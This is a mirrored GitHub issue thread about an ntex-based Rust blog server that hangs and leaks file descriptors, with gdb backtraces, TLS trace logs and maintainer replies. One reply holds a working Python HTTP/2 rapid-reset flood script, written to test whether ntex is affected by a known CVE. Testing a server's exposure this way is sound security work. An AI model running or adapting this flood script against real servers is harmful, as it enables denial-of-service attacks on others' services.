#7 0x000055964217f398 in <ntex::server::service::StreamService<T> as ntex_service::Service<(core::option::Option<ntex::server::counter::CounterGuard>,ntex::server::service::ServerMessage)>>::call::{{closure}} ()
#8 0x000055964218c77b in tokio::loom::std::unsafe_cell::UnsafeCell<T>::with_mut ()
#9 0x00005596421ef8d6 in tokio::runtime::task::core::Core<T,S>::poll ()
#10 0x00005596421bd386 in tokio::runtime::task::harness::Harness<T,S>::poll ()
#11 0x0000559642580208 in tokio::task::local::LocalSet::tick ()
#12 0x0000559642557a11 in std::thread::local::LocalKey<T>::with ()
#13 0x000055964255d811 in <core::pin::Pin<P> as core::future::future::Future>::poll ()
#14 0x000055964255ed9e in tokio::runtime::scheduler::current_thread::Context::enter ()
#15 0x0000559642564aff in tokio::macros::scoped_tls::ScopedKey<T>::set ()
#16 0x000055964255ea8f in tokio::runtime::scheduler::current_thread::CurrentThread::block_on ()
#17 0x000055964255b01c in ntex_rt::tokio::block_on ()
#18 0x0000559642567e9c in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#19 0x000055964255cb49 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#20 0x00005596425cc073 in alloc::boxed::{impl#45}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#21 alloc::boxed::{impl#45}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#22 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#23 0x00007f3adbfb4b43 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#24 0x00007f3adc046a00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 2 (Thread 0x7f3adbb31640 (LWP 1135) "tracing-appende"):
#0 syscall () at ../sysdeps/unix/sysv/linux/x86_64/syscall.S:38
#1 0x00005596425bcb44 in std::sys::unix::futex::futex_wait () at library/std/src/sys/unix/futex.rs:62
#2 std::sys_common::thread_parking::futex::Parker::park () at library/std/src/sys_common/thread_parking/futex.rs:52
#3 std::thread::park () at library/std/src/thread/mod.rs:1007
#4 0x00005596422169f6 in crossbeam_channel::context::Context::wait_until ()
#5 0x0000559642216b52 in crossbeam_channel::context::Context::with::{{closure}} ()
#6 0x00005596422173f5 in crossbeam_channel::flavors::array::Channel<T>::recv ()
#7 0x000055964220b917 in crossbeam_channel::channel::Receiver<T>::recv ()
#8 0x00005596421fe9ff in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#9 0x00005596422182c9 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#10 0x00005596425cc073 in alloc::boxed::{impl#45}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#11 alloc::boxed::{impl#45}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#12 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#13 0x00007f3adbfb4b43 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#14 0x00007f3adc046a00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 1 (Thread 0x7f3adbf1bc40 (LWP 1133) "blog-server"):
#0 0x00007f3adc045fde in epoll_wait (epfd=3, events=0x559643dc70b0, maxevents=1024, timeout=-1) at ../sysdeps/unix/sysv/linux/epoll_wait.c:30
#1 0x000055964259a54a in mio::poll::Poll::poll ()
#2 0x000055964258be8d in _ZN5tokio7runtime2io6Driver4turn17hcb5899971d60167aE.llvm.15018729562679970595 ()
#3 0x0000559642570230 in _ZN5tokio7runtime4time6Driver13park_internal17hadf88da80d26a5e1E.llvm.17727724984771245442 ()
#4 0x000055964257f5e6 in tokio::runtime::scheduler::current_thread::Context::park ()
#5 0x000055964217b33f in tokio::macros::scoped_tls::ScopedKey<T>::set ()
#6 0x00005596421f050f in tokio::runtime::scheduler::current_thread::CurrentThread::block_on ()
#7 0x00005596421ad92a in tokio::runtime::runtime::Runtime::block_on ()
#8 0x00005596421e595f in blog_server::main ()
#9 0x00005596421a7cd3 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#10 0x00005596421aed19 in _ZN3std2rt10lang_start28_$u7b$$u7b$closure$u7d$$u7d$17hdf7435f4c95dc61dE.llvm.12128131917460050004 ()
#11 0x00005596425bc24c in core::ops::function::impls::{impl#2}::call_once<(), (dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at library/core/src/ops/function.rs:287
#12 std::panicking::try::do_call<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> () at library/std/src/panicking.rs:483
#13 std::panicking::try<i32, &(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at library/std/src/panicking.rs:447
#14 std::panic::catch_unwind<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> () at library/std/src/panic.rs:140
#15 std::rt::lang_start_internal::{closure#2} () at library/std/src/rt.rs:148
#16 std::panicking::try::do_call<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panicking.rs:483
#17 std::panicking::try<isize, std::rt::lang_start_internal::{closure_env#2}> () at library/std/src/panicking.rs:447
#18 std::panic::catch_unwind<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panic.rs:140
#19 std::rt::lang_start_internal () at library/std/src/rt.rs:148
from ntex.
leon3s
commented on July 18, 2024
Is it happening when handling request ?
Are you sure you don't get ddos or scanned with a tools like nikto for example ?
from ntex.
clia
commented on July 18, 2024
Is it happening when handling request ? Are you sure you don't get ddos or scanned with a tools like
niktofor example ?
I'm not sure. I checked /proc/{pid}/fd/ directory and found it increased slowly, about 300 per day, after this happened.
from ntex.
leon3s
commented on July 18, 2024
Can you log requests when it's happening ?
I tried to reproduce it on my server that have kind of similar setup by ddosing it but i wasn't able to reproduce it.
The cpu usage was arround 10% there is my code https://github.com/nxthat/nhsf the only difference i see is the TLS can you try with openssl instead of rustls ?
from ntex.
clia
commented on July 18, 2024
These are logs of the last request it output something:
2023-04-06 11:56:47.928 TRACE ntex_io::ioref: force close io stream object
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.2.9/src/ioref.rs:61 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.884 TRACE polling::epoll: new events: epoll_fd=12, res=1
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:180 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.884 TRACE polling::epoll: modify: epoll_fd=12, fd=13, ev=Event { key: 18446744073709551615, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:110 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.884 TRACE ntex::server::accept: Accepting connection: Tcp(TcpStream { addr: 64.176.37.168:443, peer: 199.30.231.5:53038, fd: 9 }) bp: false
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.6.5/src/server/accept.rs:376 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.884 TRACE ntex::server::accept: Sent to worker 0
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.6.5/src/server/accept.rs:411 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.884 TRACE polling::epoll: modify: epoll_fd=12, fd=16, ev=Event { key: 1, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:110 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.884 TRACE polling: Poller::wait(_, None)
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/lib.rs:489 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.884 TRACE polling::epoll: wait: epoll_fd=12, timeout=None
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:122 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.884 TRACE polling::epoll: modify: epoll_fd=12, fd=14, ev=Event { key: 18446744073709551615, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:110 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.885 TRACE ntex::server::worker: Got socket for service: "ntex-web-rustls-service-0.0.0.0:443"
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.6.5/src/server/worker.rs:488 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.885 TRACE mio::poll: registering event source with poller: token=Token(905969682), interests=READABLE | WRITABLE
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/mio-0.8.6/src/poll.rs:532 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.885 TRACE rustls::server::hs: we got a clienthello ClientHelloPayload { client_version: TLSv1_2, random: 784de781ed1f0422d34191f94b9c8e850e8692435deb34af8707a23f3d00ddb6, session_id: , cipher_suites: [TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_RC4_128_SHA, TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_RC4_128_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA], compression_methods: [Null], extensions: [ServerName([ServerName { typ: HostName, payload: HostName((6261696c6f672e636e, DnsName("bailog.cn"))) }]), CertificateStatusRequest(OCSP(OCSPCertificateStatusRequest { responder_ids: [], extensions: })), NamedGroups([secp256r1, secp384r1, secp521r1]), ECPointFormats([Uncompressed]), SignatureAlgorithms([RSA_PKCS1_SHA512, ECDSA_NISTP521_SHA512, Unknown(1538), RSA_PKCS1_SHA384, ECDSA_NISTP384_SHA384, Unknown(1282), RSA_PKCS1_SHA256, ECDSA_NISTP256_SHA256, Unknown(1026), Unknown(769), Unknown(771), Unknown(770), RSA_PKCS1_SHA1, ECDSA_SHA1_Legacy, Unknown(514), Unknown(257), Unknown(259), Unknown(258)]), Unknown(UnknownExtension { typ: RenegotiationInfo, payload: 00 }), Unknown(UnknownExtension { typ: Heartbeat, payload: 01 }), SignedCertificateTimestampRequest] }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/hs.rs:456 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.885 TRACE rustls::server::server_conn: sni Some(DnsName("bailog.cn"))
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/server_conn.rs:127 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.886 TRACE rustls::server::server_conn: sig schemes [RSA_PKCS1_SHA512, ECDSA_NISTP521_SHA512, Unknown(1538), RSA_PKCS1_SHA384, ECDSA_NISTP384_SHA384, Unknown(1282), RSA_PKCS1_SHA256, ECDSA_NISTP256_SHA256, Unknown(1026), Unknown(769), Unknown(771), Unknown(770), RSA_PKCS1_SHA1, ECDSA_SHA1_Legacy, Unknown(514), Unknown(257), Unknown(259), Unknown(258)]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/server_conn.rs:128 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.886 TRACE rustls::server::server_conn: alpn protocols None
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/server_conn.rs:129 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.886 TRACE rustls::server::server_conn: cipher suites [TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_RC4_128_SHA, TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_RC4_128_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/server_conn.rs:130 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.886 DEBUG rustls::server::hs: decided upon suite TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/hs.rs:382 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.886 TRACE rustls::server::tls12::client_hello: namedgroups [secp256r1, secp384r1, secp521r1]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/tls12.rs:83 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.886 TRACE rustls::server::tls12::client_hello: ecpoints [Uncompressed]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/tls12.rs:84 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.886 TRACE rustls::server::tls12::client_hello: sending server hello Message { version: TLSv1_2, payload: Handshake { parsed: HandshakeMessagePayload { typ: ServerHello, payload: ServerHello(ServerHelloPayload { legacy_version: TLSv1_2, random: 4de416c0718e2857048a878e960e7465ae7a3dfc94b7e6ba444f574e47524401, session_id: 1612b15c3fbceff12f88bcefcba19f3bb2574bda0f71b049c6d22c5b58a4dca4, cipher_suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, compression_method: Null, extensions: [ServerNameAck, RenegotiationInfo()] }) }, encoded: 0200005103034de416c0718e2857048a878e960e7465ae7a3dfc94b7e6ba444f574e47524401201612b15c3fbceff12f88bcefcba19f3bb2574bda0f71b049c6d22c5b58a4dca4c02f00000900000000ff01000100 } }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/tls12.rs:352 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.887 TRACE ntex_io::tasks: new 177 bytes available, wakeup dispatcher
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.2.9/src/tasks.rs:55 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.887 TRACE ntex_io::io: waking up io read task
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.2.9/src/io.rs:430 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.986 TRACE ntex_io::tasks: new 7 bytes available, wakeup dispatcher
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.2.9/src/tasks.rs:55 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.986 TRACE ntex_io::io: waking up io read task
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.2.9/src/io.rs:430 on ntex-rt:worker:0 ThreadId(3)
After that point it outputs things like these and cannot finish request processing:
2023-04-06 12:35:07.901 TRACE polling::epoll: new events: epoll_fd=12, res=1
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:180 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:07.902 TRACE polling::epoll: modify: epoll_fd=12, fd=13, ev=Event { key: 18446744073709551615, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:110 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:07.902 TRACE ntex::server::accept: Accepting connection: Tcp(TcpStream { addr: 64.176.37.168:443, peer: 192.241.195.46:53864, fd: 22 }) bp: false
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.6.5/src/server/accept.rs:376 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:07.902 TRACE ntex::server::accept: Sent to worker 0
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.6.5/src/server/accept.rs:411 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:07.902 TRACE polling::epoll: modify: epoll_fd=12, fd=16, ev=Event { key: 1, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:110 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:07.902 TRACE polling: Poller::wait(_, None)
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/lib.rs:489 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:07.902 TRACE polling::epoll: wait: epoll_fd=12, timeout=None
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:122 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:07.902 TRACE polling::epoll: modify: epoll_fd=12, fd=14, ev=Event { key: 18446744073709551615, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:110 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:18.017 TRACE polling::epoll: new events: epoll_fd=12, res=1
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:180 on ntex-server accept loop ThreadId(4)
from ntex.
leon3s
commented on July 18, 2024
I meant the HTTP requests
from ntex.
clia
commented on July 18, 2024
I meant the HTTP requests
I have setted the log level to trace, but the request that causing this problem couldn't be outputed.
from ntex.
leon3s
commented on July 18, 2024
What if you use a custom Middleware or put it binding a nginx that will log them ? You can remove nginx afterward it's just to be able to log http requests. We need to gather information somehow..
from ntex.
leon3s
commented on July 18, 2024
This may be the issue since ntex use a forked version of hyperium/h2 I believe.
from ntex.
clia
commented on July 18, 2024
blog-server.log.2023-04-11.log
Yestoday on my another server it happened again, after over two weeks. It's also a single core server running Ubuntu 22.04.
This is the full trace log of yestoday. It happened around 12:44.
from ntex.
leon3s
commented on July 18, 2024
This is my attempt to reproduce the CVE, not totally sure about it tho:
import socket
import ssl
import certifi
import h2.connection
import h2.events
import _thread
SERVER_NAME = '127.0.0.1'
SERVER_PORT = 8443
# generic socket and ssl configuration
socket.setdefaulttimeout(15)
ctx = ssl.create_default_context(cafile=certifi.where())
ctx.set_alpn_protocols(['h2'])
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_verify_locations("cert.pem")
# open a socket to the server and initiate TLS/SSL
s = socket.create_connection((SERVER_NAME, SERVER_PORT))
s = ctx.wrap_socket(s, server_hostname=SERVER_NAME)
c = h2.connection.H2Connection()
c.initiate_connection()
s.sendall(c.data_to_send())
def headers(h2_conn, stream_id):
headers = [
(':method', 'GET'),
(':path', '/'),
(':authority', SERVER_NAME),
(':scheme', 'https'),
('accept-encoding', 'gzip, deflate, br')
]
h2_conn.send_headers(stream_id, headers)
def rst_stream(h2_conn, stream_id):
h2_conn.reset_stream(stream_id)
def reset_flood(h2_conn):
for i in range(1, 20000):
if i % 2 == 0:
continue
headers(h2_conn, i)
rst_stream(h2_conn, i)
def send(thread_name):
while True:
# send a GET request with headers and reset stream
print(f"{thread_name}: Sending request")
stream_id = c.get_next_available_stream_id()
headers(c, stream_id)
data = c.data_to_send()
s.sendall(data)
reset_flood(c)
if __name__ == '__main__':
for i in range(0, 400):
try:
_thread.start_new_thread(send, ("Thread-" + str(i),))
except:
print("Error: Can not start thread")
while True:
pass
# close the connection and socket
c.close_connection()
s.sendall(c.data_to_send())
s.close()I tested it against rustls and openssl implementation from the examples and it's doesn't seems that ntex is affected.
from ntex.
leon3s
commented on July 18, 2024
blog-server.log.2023-04-11.log
Yestoday on my another server it happened again, after over two weeks. It's also a single core server running Ubuntu 22.04.
This is the full trace log of yestoday. It happened around 12:44.
Looks like you are getting scanned:
�[2m2023-04-11 12:34:14.480�[0m �[32m INFO�[0m �[1;32mntex::web::middleware::logger�[0m�[32m: �[32m205.210.31.161:50126 "GET / HTTP/1.0" 200 552 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: [email protected]" 0.001050�[0m
But i don't see any request flooding that's weird
from ntex.
clia
commented on July 18, 2024
Is is similar to this issue: #103
from ntex.
fafhrd91
commented on July 18, 2024
could you try openssl instead if rustls?
from ntex.
Related Issues (20)
- [glommio] does it work? HOT 1
- Can grpc be implemented? HOT 2
- Breaking change on State with new version 0.5.30 HOT 11
- ntex 0.5.30 websocket can not connect HOT 4
- Unable to connect to the service through ntex-tls when openssl version is 1.0.2u HOT 3
- ntex 0.6.2 + ntex-mqtt 0.10.0 upgrade undefined reference to `ntex::server::builder::ServerBuilder::bind' HOT 6
- Ntex -- use-cases and relation with actix-web HOT 1
- thread 'main' panicked at 'A Tokio 1.x context was found, but timers are disabled. Call `enable_time` on the runtime builder to enable timers.' HOT 4
- do you use tokio timer?
- A Tokio 1.x context was found, but timers are disabled. Call `enable_time` on the runtime builder to enable timers
- Feature request: Callback for each new connection (on_connect method) HOT 3
- Signal handling works only once HOT 1
- Handler hangs when processing upgrade request HOT 7
- `cookie::Cookie<'_>` and `Cookie<'_>` have similar names, but are actually distinct types HOT 1
- WASI tokio ntex-rt implementation HOT 3
- how to set cors or allowed methods? HOT 4
- Server crashes when using glommio HOT 20
- Add support for monoio runtime HOT 6
- Documentation Site Down HOT 6
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from ntex.